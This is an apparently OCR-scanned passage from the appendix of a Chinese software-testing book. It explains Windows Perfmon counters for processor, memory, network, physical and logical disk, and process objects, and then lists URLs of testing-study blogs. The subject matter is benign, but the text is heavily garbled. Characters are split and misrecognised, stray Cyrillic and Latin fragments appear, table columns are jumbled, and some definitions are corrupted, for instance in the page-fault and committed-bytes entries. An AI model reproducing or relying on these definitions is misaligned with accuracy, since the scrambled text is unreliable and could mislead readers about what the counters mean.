计算 方法 r ШЕ gi A ra A AE p] p 2k Re AS, АШ Т 
WITH. 517 AE ЛЕКИН ЙҮ її: 动 的 : 要 说 明生 ， 显 示 在 范例 间 
— 的 e :时间 平 均 百分比 


% User Time 是 指 处 理 右 处 于 用 户 模 式 的 时 间 百 分 比 。 用 户 模 式 是 


Processor 00 Processor Time 


Processor % User Time | 7" — 
E 为 应 用 程序 、 环 境 分 系统 和 整数 分 系统 设计 的 有 限 处 理 模式 
Available Bytes 显示 出 当前 空闲 的 物理 内 存 总 量 。 当 这 个 数值 变 
Мешогу Available Bytes ДУ, Windows 开始 频 vede BE qux fr. vix NAIRN, 
如 小 于 5MB， 则 系统 会 将 大 部 分 时 间 消 耗 在 操作 页 面 文 件 」 
上 


% Committed Bytes In Use л: Memory: Committed Bytes 与 Memory: 
Commit Limit 之 则 的 比值 。( Committed memory 是 指 如 果 需 要 写 入 


Memory % Committed Bytes in Use | 磁盘 时 ， 已 在 分 页 文件 中 保留 的 、 处 于 使 用 中 的 物理 内 存 。Commit 
Limit a < 5 葡 件 的 天 小 次 定 的 。 如 果 扩 大 了 分 页 文件 ， 该 比例 就 
会 诚 小 )。 这 个 计数 天 只 显示 当前 百分比 ， T :是 一 个 平均 值 


Page Faults/sec 是 指 处理 关 处 理 钳 误 页 的 综合 速率 。 用 错误 页 数 / 
秒 来 计算 。 当 处 理 天 请 求 一 个 不 在 其 工作 集 (在 物理 内 存 中 的 空间 ) 
内 的 代码 或 数据 时 出 现 的 页 簿 误 。 这 个 计数 着 包括 便 错 误 (那些 需 
Мешогу Page Faults/sec 要 磁盘 访问 的 ) 和 软 错误 (在 物理 内 存 的 其 他 地 方 找到 的 错误 页 )。 
许多 处 理 堪 可 以 在 有 大 量 кй 的 情况 下 继续 操作 。 但 是 ， 便 错误 
可 以 导致 明显 的 站 WE. iX Ae uon E 两 个 3c pn ross 59] B8 [Ei 
之 差 除 以 实例 间隔 的 持 Fn 所 得 的 值 


Network Interface | Bytes Total/sec Bytes Total/sec 是 发 送 和 接收 宇 贡 的 速率 ， 包 括 帧 宇 符 在 内 


Network Interface | Packets/sec Packets/sec 为 发 送 和 接收 数据 包 的 速 ; 


% Busy Time 是 指 磁盘 驱动 融 忙 于 为 读 或 写作 请 求 提供 服务 所 用 
时 间 的 百分比 


Physical Disk Avg. Disk Queue Length Avg. Disk Queue Length JBE H У Air 2k BIZ 


Physical Disk 9$ Busy Time 


Current Disk Queue Length 是 集 操 作 数 据 时 ， 在 磁盘 上 未 
完成 的 请 求 数 。 它 包括 在 hon at Ta — 务 中 的 请 求 。 


一 个 即时 长 度 ， 而 非 一 ЖН 时 间 的 平均 值 。 多 主轴 磁盘 设备 
可 以 “请 求 控 作 ， 但 是 其 他 同时 发 生 的 请 ж 为 等 候 服 务 。 
Physical Disk Current Disk Queue Length E 
> " i pelo йт H] Bb Z: Бе BR — j= H m J 高 或 低 的 列队 长 度 ， 但 是 如 果 磁 
d JR » 在 持续 负载 ， be: 能 值 会 总 是 很 高 。 请 求 Ш 与 这 
个 列队 如 长 度 减 去 磁盘 上 的 主轴 成 正比 。 这 个 差 值 只 有 小 于 2， 才 
能 人 呆 持 良好 的 性 能 
Logical i % Free Space 是 所 选 定 的 逻辑 磁盘 驱动 器 上 总 可 用 空闲 空间 的 百 
Disk i 分 比 
Logical | LIRISE Los -E ¿ME hZ i 
Disk Free Megabytes 可 用 的 MB 显示 磁盘 驱动 右上 尚未 分 配 的 空间 


3.Perfmon 对 进程 的 监控 指标 


一 般 说 来 ， 服 务 器 上 都 布 署 了 一 个 或 多 个 应 用 程序 ， 这 些 应 用 程序 在 运行 期 间 经 常 体现 为 若干 应 用 进程 。 为 了 便于 监控 应 用 程序 的 运行 情况 ， 在 程序 设计 过 程 中 ， 一 般 都 会 同时 布 署 应 用 系统 的 监控 程 


。Perfmon 也 设置 了 进程 监控 常用 指标 ， 这 些 指标 比较 直观 地 体现 了 进程 的 运行 状况 ， 是 进行 应 用 系统 监控 或 应 用 系统 跟踪 调 优 的 依据 。 表 E-3 列 出 了 进程 监控 的 主要 指标 。 


ЖЕ-3 Process 对 象 的 主要 指标 


ES TT 


% Privileged Time 是 在 特权 模式 下 ， 处 理 线程 执行 代码 所 花 时 间 的 百 分 
比 。 当 调用 Windows "m pi 此 服务 经 党 在 AU gni. DATEI 
对 系统 专 有 数据 的 访问 。 在 用 户 模 式 执 行 的 线程 无 法 访问 这 些 数据 。 对 系 
统 的 调用 可 以 是 百 接 的 dass 或 间接 的 implicit), Л THI FE ps EKTE] А 


Process % Privileged Time 


% Processor Time 是 所 有 进程 线程 使 用 处 理由 执行 指令 所 花 时 间 的 百 分 
Process % Processor Time 比 。 指 令 是 计算 机 执行 的 基础 单位 。 2% IE: T 指令 的 对 象 ， 进 程 是 程序 
运行 时 创建 的 对 象 。 此 计数 包括 处 理 革 些 硬 件 间 隔 等 系统 内 核 调 用 

% User Time 是 指 处 理 线程 用 于 执行 使 用 用 户 k is my {АНН a| fJ Т 
比 。 应 用 程序 、 环 境 分 系统 和 分 系统 Е 模式 执行 的 


Process | Creating Process ID value Creating Process ID value 是 指 创建 该 进程 的 父 进程 号 


Process | Elapsed Time 该 进程 运行 的 总 时 间 (单位 为 s 计算 ) 


六 进程 打开 的 句柄 数 。 句 柄 数 代 表 了 某 个 应 用 程序 打开 的 文件 或 套 接 字 
У = 


Process 9/5 User Time 


Process Handle Count 


Process 
Process 
Process 
Process 
Process 


Process 


Pracess 


Pracess 


Pracess 


Pracess 


Process 
Process 


Process 


Process 


Process 


Process 


' i = 
чт 
m 


提供 的 信息 
进程 正在 操作 的 磁盘 、 网 络 和 设备 IO 量 
读 取 / 写 人 VO 操作 的 速率 
IO Other Operations/sec 进行 非 读 取 / E À UO 操作 的 速率 
进行 TO 操作 读 取 字 节 的 速率 
IO Write Bytes/sec 进行 IO HIESA TENER 
进程 中 执行 线程 造成 的 页 面 错 误 出 现 的 速度 
Page File Bytes 是 指 这 个 进程 在 Paging file 中 合用 的 最 大 字数 ，Paging File 


用 于 和 存 情 不 包 人 音 在 其 他 文件 中 的 由 进程 剧 用 的 内 存 页 。Paging File 由 所 有 处 
理 共享 


Page File Bytes Peak 是 指 该 小 进程 在 Paging files 中 使 用 的 最 大 字数 


Pool Nonpaged Bytes 是 指 在 非 分 页 池 中 的 衬 市 数 ， 非 分 页 池 是 指 系 统 内 
仔 〈 操 作 系 统 使 用 的 物理 内 人 存 ) 中 可 殿 对 和 象 使 用 的 一 个 区 域 。 这 个 计数 带 仪 
显示 上 一 次 观察 的 值 ， 而 不 是 一 个 平均 值 

Pool Paged Bytes 是 指 在 分 页 池 中 的 字 市 数 ， 分 页 池 是 系统 内 存 (操作 系 
统 使 用 的 物理 内 存 ) 中 可 供 对 重 使 用 的 一 个 区 域 。 这 个 计数 禹 仪 显示 上 一 次 
观察 的 但 ， 而 不 是 一 个 平均 值 


Private Bytes 是 指 这 个 处 理 不 能 与 其 他 处 理 共享 的 ， 
Thread Count 与 该 进程 相关 的 ， 不 能 共 诗 的 内 存量 
Virtual Bytes Virtual Bytes 是 指 该 进程 使 用 的 虚拟 地 址 室 间 的 以 字 节 数 显示 的 当前 天 小 
Virtual Bytes Peak 是 指 在 尾 何 时 间 内 ， 该 进程 使 用 的 虚拟 地 址 空间 的 最 大 
字 节 数 
Working Set 是 指 这 
是 在 处 理 中 被 线程 最 近 和 触 到 的 内 存 页 集 。 


IO Data Bytes/sec E 


IO Data Operations/sec 


Page Faults/sec 


Page File Bytes 


Page File Bytes Peak 


Pool Nonpaged Bytes 


Pool Paged Bytes 


已 分 配 的 当前 字 节 数 


Virtual Bytes Peak 


个 进程 的 Working Set 'P I] `i ñil F 3E. Working Set 
加 果 计 算 机 上 的 可 用 内 存 处 于 阅 


Working Set 值 以 上 上， 即便 页 不 在 使 用 中 ， 也 会 留 在 一 个 处 理 的 Working Set 中 。 可 用 内 
存 降 到 阅 值 以 下 时 ， 将 从 Working Set 中 删除 页 。 如 果 需 要 页 ， 它 会 在 离开 


ЕРЕ, 
Working Set Peak 是 指 在 
T3 


E doc ОД [E| #l] Working Set 中 


任何 时 间 ， 这 个 在 处 理 的 Working Set 的 最 太子 


Working Set Peak 


附录 F 学习 资料 网 址 摘录 


- 软件 测试 自学 路 线 图 : http://www.besttest.cn/blog/2_software-testing.html o 


: 性 能 测试 自学 路 线 图 : http://www.besttest.cn/blog/3. performance-testing.html. 


: 自动 化 测试 QIP 自 学 路 线 图 : http://www.besttest.cn/blog/4_qtp.html。 


` 安全 测试 自学 路 线 图 : http://www.besttest.cn/blog/5_secutity-testing,html。 


测试 视频 与 公开 课 汇 总 : http://www.besttest.cn/blog/test-video.html。 


.小强 软件 测试 博客 : http://xqtesting.blog.51cto.com/. 


‚ 安 大 叔 性 能 测试 博客 : http:/ /andashu.blog.51cto.com/ o 


' 风 落 几 番 茶座 室 : http://jacksonren.blog.51cto.com/« 


: Google testing blog: http://googletesting.blogspot.com/ o 


-A (RA) 的 博客 : Һир: / /опапће.спЫорз.сот/ o 


